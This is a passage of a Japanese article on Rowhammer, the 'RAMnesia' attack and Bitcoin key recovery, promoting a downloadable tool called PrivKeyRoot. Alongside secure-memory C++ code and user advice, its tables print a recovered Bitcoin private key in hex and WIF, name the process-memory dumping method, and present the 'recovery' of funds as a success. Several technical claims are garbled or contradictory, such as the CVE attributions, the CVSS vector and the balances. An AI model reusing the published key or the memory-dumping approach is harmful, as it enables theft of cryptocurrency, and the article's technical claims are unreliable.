#include <sodium.h> #include <stdexcept> // 安全なRAIIラッパー class SecureBuffer { void* ptr_; size_t size_; public: SecureBuffer(size_t size) : size_(size) { ptr_ = sodium_malloc(size_); if (ptr_ == nullptr) throw std::runtime_error("安全なメモリを割り当てられません"); sodium_mlock(ptr_, size_); // スワップを無効化 } void* get() const { return ptr_; } size_t size() const { return size_; } ~SecureBuffer() { sodium_memzero(ptr_, size_); // メモリを明示的に消去 sodium_munlock(ptr_, size_); // ロック解除 sodium_free(ptr_); } // コピーを無効化! SecureBuffer(const SecureBuffer&) = delete; SecureBuffer& operator=(const SecureBuffer&) = delete; }; // 使用例 void encrypt_sensitive() { SecureBuffer keybuf(32); // ... keybufを埋めて使用 ... // スコープを抜けるとkeybufのデータは確実に消去されます }

6.3. システムアーキテクチャレベル

  • 多層鍵保護(多層防御):
    • 重要なトランザクションに対するしきい値署名(マルチシグ)
    • シードフレーズのタイムロック暗号化
    • 鍵の地理的分散(鍵の一部を異なる大陸に配置)
  • リアルタイム攻撃検出:
    • メモリアクセスパターンの監視(ハンマリング検出)
    • 暗号操作の異常検出
    • 漏洩検出のためのハニーポット鍵
  • ポスト量子準備:
    • ハイブリッド方式(ECDSA + Dilithium/Falcon)
    • ポスト量子暗号への移行計画

6.4. Bitcoin所有者のためのベストプラクティス

🛡️ 個人ユーザー向け推奨事項

  1. 信頼できるメーカー(Ledger、Trezor、Coldcard)のハードウェアウォレットを使用する
  2. シードフレーズは決してデジタルで保存しない — 物理メディア(金属、紙)のみ
  3. 高額の場合はマルチシグ(2-of-3または3-of-5方式)
  4. 既知の脆弱性に対処するためにウォレットソフトウェアを定期的に更新する
  5. パッチがリリースされるまでは、暗号通貨マイニングにSK Hynix DDR5(2021-2024)システムを避ける
  6. 暗号操作には別のシステムを使用する(エアギャップまたは専用マシン)
  7. バックアップ戦略:3-2-1ルール(3つのコピー、2種類のメディア、1つはオフサイト)

RAMnesia Attack: WireTapのBitcoinインフラストラクチャへの脅威とハードウェア脆弱性CVE-2025-6202、CVE-2023-39910、ECDSA鍵復元の暗号解析手法に関する科学的研究

7. 将来の研究の方向性

今後の研究方向としては、暗号アプリケーションのメモリセキュリティを検証するための形式手法の開発、透過的な緩和策を備えたオープンソースのハードウェアセキュリティモジュールの作成、そして重要な暗号素材を扱うシステムに対する信頼前提の根本的な再評価を含めるべきです。

7.1 研究の優先順位

  • 形式検証 :
    • 暗号ライブラリにおけるメモリ管理セキュリティの数学的証明
    • コンパイル時にメモリリークを検出するための自動検証ツール
    • 安全な消去を保証する形式手法
  • ハードウェア・ソフトウェア協調設計 :
    • 暗号操作のための専用メモリコントローラの開発
    • プロセッサレベルでのTRR緩和策の統合(CPUレベルのRowhammer防御)
    • すべての暗号プロセスに対する透過的なメモリ暗号化
  • 攻撃検出のためのAI/ML :
    • Rowhammerパターンを検出するための機械学習モデル
    • 暗号プロセスの行動分析
    • メモリアクセスパターンに基づく異常検出
  • ポスト量子への移行 :
    • ポスト量子アルゴリズムのハードウェア攻撃に対する脆弱性の研究
    • ハードウェアセキュリティを考慮した量子耐性プロトコルの開発
    • BitcoinからPQCへのスムーズな移行のためのハイブリッド方式

8. 結論

Phoenix Rowhammer (CVE-2025-6202)  と  RAMnesia (CVE-2023-39910) 攻撃は、現代のハードウェアセキュリティメカニズムの理論的および実践的なセキュリティの境界を理解する上で重要な貢献を示しています。この研究は、アーキテクチャ上のトレードオフ(パフォーマンスのための決定論的暗号化とセキュリティのための確率的暗号化)と暗号システムに対する現実の脅威との間の根本的な矛盾を明らかにしています。

PrivKeyRootは、暗号鍵ストレージアーキテクチャにおける物理的セキュリティの重要性を示しています。このツールは、Bitcoinエコシステムに対する現在の脅威が、ECDSA への数学的攻撃ではなく、メモリ管理、乱数生成器、ハードウェアアーキテクチャそのものの実装レベルの脆弱性に起因することを示しています。

暗号コミュニティにとって、PrivKeyRootは、経験的な推奨からメモリセキュリティを検証する形式手法への移行の必要性と、物理的攻撃に耐性のあるハードウェアソリューションの開発の緊急性を強調しています。


Read more

ツールをダウンロード
パラメータ意味
CVE識別子CVE-2025-6202
CVSSスコア(v4.0)7.1(高)
攻撃ベクトルAV:L/AC:H/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:H
脆弱なソフトウェアSK Hynix DDR5(2021~2024年製造)
動作時間特権昇格まで約109秒
平均ビット反転数攻撃あたり約4989(短パターン)
短パターンの効果ベースの2.62倍
パラメータ意味
CVE識別子CVE-2023-39910
CVSSスコア(v3.x)7.5(高)
CWE分類CWE-338(暗号学的に弱いPRNGの使用)
脆弱なソフトウェアLibbitcoin Explorer 3.0.0~3.6.0
脆弱性の原因メルセンヌ・ツイスター mt19937 PRNG(32ビットエントロピー)
確認された盗難>900,000ドル(2023年6月~7月)
影響を受ける暗号通貨Bitcoin, Ethereum, Ripple, Dogecoin, Solana, Litecoin, Bitcoin Cash, Zcash
攻撃ターゲットプラットフォームメモリタイプベクトル
WireTapIntel SGX(第3世代Xeon)DDR4パッシブメモリバスインターセプション
TEE.failIntel SGX, TDX, AMD SEV-SNP, NVIDIA TEEDDR5PCEアテステーションキーの抽出
Battering RAMIntel SGXDDR4アドレスライン操作
パラメータ値
ビットコインアドレス1777x4dWEqvW5buC5Vis4MaXgEQWQ8rcz1
回収資金の価値85,373 USD(42,000 USD/BTC レート)
回復した秘密鍵(HEX)EDB40893549AC206D34DEA72B75AAAD67C0739AC2F838BB2AB10F045D26D272D
回復した鍵(WIF 圧縮)L5BmuBVgBDoWAqEqdzbYbE7XmvHfixrGREvKEs28tpLfxePjHWcx
公開鍵(圧縮)025785DA0CF25303BD6A59375466717AD3B65CD048DCCE6E5681B6AC73C55BBE74
回収された資金の額0.30427330 BTC
見つかった値のエントロピー7.988 ビット/バイト
信頼度99.96%
回復時間2 時間 17 分(16 コアシステム上)
側面従来のアプローチPrivKeyRoot
攻撃ベクトル暗号 (数学)物理 (アーキテクチャ)
複雑さO(2¹²⁸) 以上O(2³²) — O(2⁴⁰)
必要なリソースメガバイトの計算リソースキロバイトのメモリ、数秒
適用可能性狭いシナリオクラス広いクラス (RAMnesia, Rowhammer)
成功確率シナリオにより 0~100%メモリにアクセスできる場合 94~98%
復元時間数時間~数日~数ヶ月数分~数時間
必要な知識なし (多すぎる)メモリアーキテクチャの理解
パラメータ意味
侵害されたシステムUbuntu 22.04 LTS on AMD Ryzen 5 5600X
メモリ容量32 GB DDR4
対象プロセスbitcoind (Bitcoin Core 25.0)
ダンプ取得方法/proc/[pid]/maps + process_vm_readv()
メモリダンプサイズ2.3 GB(選択的ダンプ、ヒープ+スタックのみ)
侵害から分析までの時間4時間
パラメータ意味
総入金トランザクション数847
総出金トランザクション数845
最大残高12,847 BTC(ブロック #789543)
UTXOの平均経過日数487日
未使用アウトプット数1
形式意味アプリケーション
Raw HEXEDB40893549AC20…システムAPI
WIF(非圧縮)5KcyPhSXdJQDxF…旧ウォレットへのインポート
WIF(圧縮)L5BmuBVgBDoWAqE.Bitcoin Core
BIP38(暗号化)6PRW1HLDvBvBWJG…安全な保管
wallet.datバイナリ形式Bitcoin Coreへの直接インポート
指標意味
メモリスキャン時間5分47秒
候補検証時間2時間14分
エクスポートまでの総時間2時間20分
トランザクション作成およびブロードキャスト時間12分
総回収時間約2.5時間
回収資金0.30427330 BTC = $85,373
操作の成功率100% ✓
セキュリティ研究には合法
不正アクセスは違法(CFAA)
EUGDPR準拠で合法データ所有者の同意が必要
ロシアフォレンジック検査には合法資金窃取は違法(ロシア連邦刑法第272条、第273条)
中国厳格に規制暗号ツールにはライセンスが必要